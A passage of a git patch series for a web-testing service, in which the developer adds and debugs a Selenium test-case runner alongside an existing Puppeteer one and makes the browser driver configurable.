+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = find_element(By.CSS_SELECTOR, selector)
+                    element.click()
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
 
-        print(f'beginging testcase for {self.site_url}  \
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+        
+
+
+            if step['action']['type'] == 'change':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+                
+                try:
+                    print(f'changing element to value -> {step["action"]["value"]}') 
+                    # using puppeteer, find and click on the 'element'
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )                
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    # changing value of element
+                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", {step["action"]["value"]})')
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+
+            
+            if step['action']['type'] == 'keyDown':
+                exception = None
+                passed = True
+                update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+                
+                try:
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
+                    # using selenium, press the selected key
+                    self.driver.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+            
+
+
+
+            if step['assertion']['type'] == 'match':
+                exception = None
+                passed = True
+                update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+                    # using selenium, find elememt and assert if element.text == assertion.text
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = find_element(By.CSS_SELECTOR, selector)
+                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
+                    elementText = elementText.strip()
+                    print(f'elementText => {elementText}')
+                    print(f'value => {step["assertion"]["value"]}')
+                    assert elementText == step["assertion"]["value"]
+                    image = self.save_screenshot_s()
+
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+
+            
+            if step['assertion']['type'] == 'exists':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='assertion', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'asserting that element -> {step["assertion"]["element"]} exists')
+                    # using puppeteer, find elememt and assert it exists
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = find_element(By.CSS_SELECTOR, selector)
+                    image = self.save_screenshot_s()
+
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+
+            i += 1  
+
+        self.update_testcase_s(
+            time_completed=datetime.now()
+        )
+        quit_driver(driver=self.driver)
+        print('-- testcase run complete --')
+
+
+
+
+    
+
+
+
+
+
+
+    
+    async def run_p(self):
+
+
+        print(f'beginning testcase for {self.site_url}  \
             using case {self.case_name}')
         
         # initate driver
@@ -363,4 +712,46 @@ async def run(self):
             time_completed=datetime.now()
         )
         await self.driver.close()
-        print('-- testcase run complete --')
\ No newline at end of file
+        print('-- testcase run complete --')
+
+    
+    
+    
+    
+    
+    
+    
+    
+    self.s_keys = {
+        '+':            Keys.ADD,
+        'Alt':          Keys.ALT,
+        'ArrowDown':    Keys.ARROW_DOWN,
+        'ArrowLeft':    Keys.ARROW_LEFT,
+        'ArrowRight':   Keys.ARROW_RIGHT,
+        'ArrowUp':      Keys.ARROW_UP,
+        'Backspace':    Keys.BACKSPACE,
+        'Control':      Keys.CONTROL,
+        '.':            Keys.DECIMAL,
+        'Delete':       Keys.DELETE,
+        '/':            Keys.DIVIDE,
+        'Enter':        Keys.ENTER,
+        '=':            Keys.EQUALS,
+        'Escape':       Keys.ESCAPE,
+        'Meta':         Keys.META,
+        '*':            Keys.MULTIPLY,
+        '0':            Keys.NUMPAD0,
+        '1':            Keys.NUMPAD1,
+        '2':            Keys.NUMPAD2,
+        '3':            Keys.NUMPAD3,
+        '4':            Keys.NUMPAD4,
+        '5':            Keys.NUMPAD5,
+        '6':            Keys.NUMPAD6,
+        '7':            Keys.NUMPAD7,
+        '8':            Keys.NUMPAD8,
+        '9':            Keys.NUMPAD9,
+        ';':            Keys.SEMICOLON,
+        'Shift':        Keys.SHIFT,
+        'Space':        Keys.SPACE,
+        '-':            Keys.SUBTRACT,
+        'Tab':          Keys.TAB
+    }
\ No newline at end of file
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 452755e7..295437c2 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -253,9 +253,10 @@ def create_testcase_task(
 
     
     # running testcase
-    testresult = asyncio.run(
-        Caser(testcase=testcase).run()
-    )
+    # testresult = asyncio.run(
+    #     Caser(testcase=testcase).run()
+    # )
+    testresult = Caser(testcase=testcase).run_s()
 
     if automation_id:
         automation(automation_id, testcase.id)

From 91841e470ec05526aff696d0c61cea8893468ef5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:02:31 -0600
Subject: [PATCH 0407/1099] fixed some bugs

---
 app/api/utils/caser.py | 69 +++++++++++++++++++++---------------------
 1 file changed, 35 insertions(+), 34 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 8cb329ed..175361ae 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -22,6 +22,39 @@ def __init__(self, testcase):
         self.steps = self.testcase.steps
         self.case_name = self.testcase.case.name
         self.configs = self.testcase.configs
+        self.s_keys = {
+            '+':            Keys.ADD,
+            'Alt':          Keys.ALT,
+            'ArrowDown':    Keys.ARROW_DOWN,
+            'ArrowLeft':    Keys.ARROW_LEFT,
+            'ArrowRight':   Keys.ARROW_RIGHT,
+            'ArrowUp':      Keys.ARROW_UP,
+            'Backspace':    Keys.BACKSPACE,
+            'Control':      Keys.CONTROL,
+            '.':            Keys.DECIMAL,
+            'Delete':       Keys.DELETE,
+            '/':            Keys.DIVIDE,
+            'Enter':        Keys.ENTER,
+            '=':            Keys.EQUALS,
+            'Escape':       Keys.ESCAPE,
+            'Meta':         Keys.META,
+            '*':            Keys.MULTIPLY,
+            '0':            Keys.NUMPAD0,
+            '1':            Keys.NUMPAD1,
+            '2':            Keys.NUMPAD2,
+            '3':            Keys.NUMPAD3,
+            '4':            Keys.NUMPAD4,
+            '5':            Keys.NUMPAD5,
+            '6':            Keys.NUMPAD6,
+            '7':            Keys.NUMPAD7,
+            '8':            Keys.NUMPAD8,
+            '9':            Keys.NUMPAD9,
+            ';':            Keys.SEMICOLON,
+            'Shift':        Keys.SHIFT,
+            'Space':        Keys.SPACE,
+            '-':            Keys.SUBTRACT,
+            'Tab':          Keys.TAB
+        }
 
 
 
@@ -135,7 +168,7 @@ async def save_screenshot(self, page):
 
 
     
-    def save_screenshot_s(self, page):
+    def save_screenshot_s(self):
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
@@ -722,36 +755,4 @@ async def run_p(self):
     
     
     
-    self.s_keys = {
-        '+':            Keys.ADD,
-        'Alt':          Keys.ALT,
-        'ArrowDown':    Keys.ARROW_DOWN,
-        'ArrowLeft':    Keys.ARROW_LEFT,
-        'ArrowRight':   Keys.ARROW_RIGHT,
-        'ArrowUp':      Keys.ARROW_UP,
-        'Backspace':    Keys.BACKSPACE,
-        'Control':      Keys.CONTROL,
-        '.':            Keys.DECIMAL,
-        'Delete':       Keys.DELETE,
-        '/':            Keys.DIVIDE,
-        'Enter':        Keys.ENTER,
-        '=':            Keys.EQUALS,
-        'Escape':       Keys.ESCAPE,
-        'Meta':         Keys.META,
-        '*':            Keys.MULTIPLY,
-        '0':            Keys.NUMPAD0,
-        '1':            Keys.NUMPAD1,
-        '2':            Keys.NUMPAD2,
-        '3':            Keys.NUMPAD3,
-        '4':            Keys.NUMPAD4,
-        '5':            Keys.NUMPAD5,
-        '6':            Keys.NUMPAD6,
-        '7':            Keys.NUMPAD7,
-        '8':            Keys.NUMPAD8,
-        '9':            Keys.NUMPAD9,
-        ';':            Keys.SEMICOLON,
-        'Shift':        Keys.SHIFT,
-        'Space':        Keys.SPACE,
-        '-':            Keys.SUBTRACT,
-        'Tab':          Keys.TAB
-    }
\ No newline at end of file
+    
\ No newline at end of file

From eab7169d9dff552efeab2f988d58dd371cea0939 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:12:10 -0600
Subject: [PATCH 0408/1099] more fixes

---
 app/api/utils/caser.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 175361ae..c05ce516 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -189,7 +189,7 @@ def save_screenshot_s(self):
         pic_id = uuid.uuid4()
         
         # get screenshot
-        self.driver.save_screenshot({'path': f'{pic_id}.png'})
+        self.driver.save_screenshot(f'{pic_id}.png')
 
         # seting up paths
         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
@@ -244,7 +244,7 @@ def run_s(self):
                     print(f'navigating to {self.site_url}{step["action"]["path"]}')
                     # using selenium, navigate to requested path & wait for page to load
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -282,7 +282,7 @@ def run_s(self):
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -322,7 +322,7 @@ def run_s(self):
                     # using puppeteer, find and click on the 'element'
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -358,7 +358,7 @@ def run_s(self):
                 
                 try:
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -398,7 +398,7 @@ def run_s(self):
                     # using selenium, find elememt and assert if element.text == assertion.text
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
@@ -440,7 +440,7 @@ def run_s(self):
                     # using puppeteer, find elememt and assert it exists
                     selector = self.format_element_s(step["action"]["element"])
                     driver_wait(
-                        driver=driver, 
+                        driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),

From 86fc754a308a6fc8ed93d8c972acbfe6f3288dd3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:13:54 -0600
Subject: [PATCH 0409/1099] fixed more stuff

---
 app/api/utils/caser.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index c05ce516..9f41845d 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -289,7 +289,7 @@ def run_s(self):
                     )                
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = find_element(By.CSS_SELECTOR, selector)
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -405,7 +405,7 @@ def run_s(self):
                     )
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = find_element(By.CSS_SELECTOR, selector)
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
@@ -447,7 +447,7 @@ def run_s(self):
                     )
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = find_element(By.CSS_SELECTOR, selector)
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     image = self.save_screenshot_s()
 
                 except Exception as e:

From 849d8e4ce67a76d9113b94092cd1b8226053d04b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:22:21 -0600
Subject: [PATCH 0410/1099] fixing more issues

---
 app/api/utils/caser.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 9f41845d..31cb8455 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -249,7 +249,7 @@ def run_s(self):
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
                     )
-                    self.driver.get(f'{self.site_url}{step["action"]["path"]}', self.page_options)
+                    self.driver.get(f'{self.site_url}{step["action"]["path"]}')
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
 
@@ -351,7 +351,7 @@ def run_s(self):
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
-                update_testcase_s(
+                self.update_testcase_s(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -388,7 +388,7 @@ def run_s(self):
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
-                update_testcase_s(
+                self.update_testcase_s(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )

From 91a1376d1dc153f344edb3fc7e06e8ae6b749dce Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:38:45 -0600
Subject: [PATCH 0411/1099] fixing more stuff

---
 app/api/utils/caser.py | 24 ++++++++++++++++++++----
 1 file changed, 20 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 31cb8455..600800a5 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -330,7 +330,8 @@ def run_s(self):
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     # changing value of element
-                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", {step["action"]["value"]})')
+                    value = step["action"]["value"]
+                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 
@@ -357,15 +358,30 @@ def run_s(self):
                 )
                 
                 try:
+                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
+                
+                    # getting last known element
+                    n = (i - 1)
+                    elm = None
+                    while True:
+                        elm = self.steps[n]['action']['element']
+                        if elm != None and len(elm) != 0:
+                            break
+                        n -= 1
+
+                    selector = self.format_element_s(elm)
                     driver_wait(
                         driver=self.driver, 
                         interval=int(self.configs.get('interval', 5)),  
                         min_wait_time=int(self.configs.get('min_wait_time', 10)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )
-                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
+                    )                
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+
                     # using selenium, press the selected key
-                    self.driver.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 

From de8da0580fc26c8ecadc9f953b60d9dddfbcfbff Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 12:50:44 -0600
Subject: [PATCH 0412/1099] testing

---
 app/api/utils/caser.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 600800a5..55451e93 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -381,6 +381,7 @@ def run_s(self):
 
                     # using selenium, press the selected key
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    element.click()
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()

From c83bd7a64bf74a1c7f61a38bc0cbb2a9cafaeadc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 13:50:29 -0600
Subject: [PATCH 0413/1099] testing JS click method

---
 app/api/utils/caser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 55451e93..b3507cd3 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -290,7 +290,7 @@ def run_s(self):
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    element.click()
+                    self.driver.execute_script(f'document.querySelector("{selector}").click()')
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 

From 1b231b14399ed925190898e94ae15f87421ea0e7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 13:58:34 -0600
Subject: [PATCH 0414/1099] added driver as option

---
 app/api/utils/caser.py  |  6 +-----
 app/api/v1/ops/tasks.py | 10 ++++++----
 2 files changed, 7 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index b3507cd3..93eb3a27 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -491,10 +491,6 @@ def run_s(self):
 
 
 
-    
-
-
-
 
 
 
@@ -506,7 +502,7 @@ async def run_p(self):
             using case {self.case_name}')
         
         # initate driver
-        self.driver = await driver_init()
+        self.driver = await driver_p_init()
         
         # init page obj 
         self.page = await self.driver.newPage()
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 295437c2..0f9f4dc7 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -253,10 +253,12 @@ def create_testcase_task(
 
     
     # running testcase
-    # testresult = asyncio.run(
-    #     Caser(testcase=testcase).run()
-    # )
-    testresult = Caser(testcase=testcase).run_s()
+    if configs.get('driver', 'puppeteer') == 'puppeteer':
+        testresult = asyncio.run(
+            Caser(testcase=testcase).run_p()
+        )
+    if configs.get('driver', 'puppeteer') == 'selenium':
+        testresult = Caser(testcase=testcase).run_s()
 
     if automation_id:
         automation(automation_id, testcase.id)

From 5377b7862bdebc0a7f738ed37c06aacd210bcbc7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:13:47 -0600
Subject: [PATCH 0415/1099] fixing issues

---
 app/api/v1/ops/services.py | 11 ++++++++---
 app/api/v1/ops/tasks.py    | 21 +++++++++++----------
 2 files changed, 19 insertions(+), 13 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 67b986ea..38a892df 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2596,6 +2596,7 @@ def create_testcase(request, delay=False):
         configs = {
             'window_size': '1920,1080',
             'device': 'desktop',
+            'driver': 'puppeteer',
             'interval': 5,
             'min_wait_time': 10,
             'max_wait_time': 30,
@@ -2616,9 +2617,13 @@ def create_testcase(request, delay=False):
         create_testcase_bg.delay(testcase_id=testcase.id)
     else:
         # running testcase
-        asyncio.run(
-            Caser(testcase=testcase).run()
-        )
+        if configs.get('driver', 'puppeteer') == 'puppeteer':
+            testresult = asyncio.run(
+                Caser(testcase=testcase).run_p()
+            )
+        if configs.get('driver', 'puppeteer') == 'selenium':
+            testresult = Caser(testcase=testcase).run_s()
+
         testcase = Testcase.objects.get(id=testcase.id)
 
     serializer_context = {'request': request,}
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 0f9f4dc7..33f23149 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -209,6 +209,16 @@ def create_testcase_task(
         automation_id=None
     ):
 
+    if configs is None:
+        configs = {
+            'window_size': '1920,1080',
+            'device': 'desktop',
+            'driver': 'puppeteer',
+            'interval': 5,
+            'min_wait_time': 10,
+            'max_wait_time': 30,
+        }
+
     if testcase_id != None:
         testcase = Testcase.objects.get(id=testcase_id)
     
@@ -232,16 +242,7 @@ def create_testcase_task(
         if updates != None:
             for update in updates:
                 steps[int(update['index'])]['action']['value'] = update['value']
-
-        if configs is None:
-            configs = {
-                'window_size': '1920,1080',
-                'device': 'desktop',
-                'interval': 5,
-                'min_wait_time': 10,
-                'max_wait_time': 30,
-            }
-            
+    
         testcase = Testcase.objects.create(
             case = case,
             case_name = case.name,

From daadd7692662d2e09a77e49de5f0107871d6de4b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:21:31 -0600
Subject: [PATCH 0416/1099] fixing configs issue

---
 app/api/v1/ops/tasks.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 33f23149..5760884d 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -209,6 +209,12 @@ def create_testcase_task(
         automation_id=None
     ):
 
+   
+
+    if testcase_id != None:
+        testcase = Testcase.objects.get(id=testcase_id)
+        configs = testcase.configs
+
     if configs is None:
         configs = {
             'window_size': '1920,1080',
@@ -218,9 +224,6 @@ def create_testcase_task(
             'min_wait_time': 10,
             'max_wait_time': 30,
         }
-
-    if testcase_id != None:
-        testcase = Testcase.objects.get(id=testcase_id)
     
     else:
         case = Case.objects.get(id=case_id)

From c31cf4049fd4167c4a5bdc298c206192b4976281 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:24:56 -0600
Subject: [PATCH 0417/1099] fixing issues

---
 app/api/v1/ops/tasks.py | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 5760884d..2620c85e 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -209,21 +209,9 @@ def create_testcase_task(
         automation_id=None
     ):
 
-   
-
     if testcase_id != None:
         testcase = Testcase.objects.get(id=testcase_id)
         configs = testcase.configs
-
-    if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
     
     else:
         case = Case.objects.get(id=case_id)
@@ -255,7 +243,16 @@ def create_testcase_task(
             steps = steps
         )
 
-    
+    if configs is None:
+        configs = {
+            'window_size': '1920,1080',
+            'device': 'desktop',
+            'driver': 'puppeteer',
+            'interval': 5,
+            'min_wait_time': 10,
+            'max_wait_time': 30,
+        }
+
     # running testcase
     if configs.get('driver', 'puppeteer') == 'puppeteer':
         testresult = asyncio.run(

From 165b3cbc62ccad47431e89d7014de55f1658a5dc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 14:31:11 -0600
Subject: [PATCH 0418/1099] testing new selenium methods

---
 app/api/utils/caser.py | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 93eb3a27..4e4a11bc 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -290,7 +290,8 @@ def run_s(self):
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    self.driver.execute_script(f'document.querySelector("{selector}").click()')
+                    # self.driver.execute_script(f'document.querySelector("{selector}").click()')
+                    element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 
@@ -329,9 +330,11 @@ def run_s(self):
                     )                
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     # changing value of element
                     value = step["action"]["value"]
-                    self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
+                    # self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
+                    element.send_keys(value)
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
                 
@@ -358,8 +361,7 @@ def run_s(self):
                 )
                 
                 try:
-                    print(f'keyDown action for key -> {step["action"]["key"]} | {self.s_keys.get(step["action"]["key"], step["action"]["key"])}')
-                
+                    print(f'keyDown action for key -> {step["action"]["key"]}')
                     # getting last known element
                     n = (i - 1)
                     elm = None
@@ -368,7 +370,6 @@ def run_s(self):
                         if elm != None and len(elm) != 0:
                             break
                         n -= 1
-
                     selector = self.format_element_s(elm)
                     driver_wait(
                         driver=self.driver, 
@@ -378,10 +379,8 @@ def run_s(self):
                     )                
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-
                     # using selenium, press the selected key
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    element.click()
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()

From be876fea3a4f4bcfb6dc60e507c1ab5188f7c23a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 21 Mar 2024 12:40:10 -0600
Subject: [PATCH 0419/1099] updated selenium scripts

---
 app/api/utils/caser.py | 48 ++++++++----------------------------------
 1 file changed, 9 insertions(+), 39 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 4e4a11bc..45d074ea 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -220,6 +220,9 @@ def run_s(self):
             device=self.configs['device']
         )
 
+        # setting implict wait_time for driver
+        self.driver.implicitly_wait(self.configs['max_wait_time'])
+
         i = 0
         for step in self.steps:
             print(f'-- running step #{i+1} --')
@@ -281,16 +284,9 @@ def run_s(self):
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
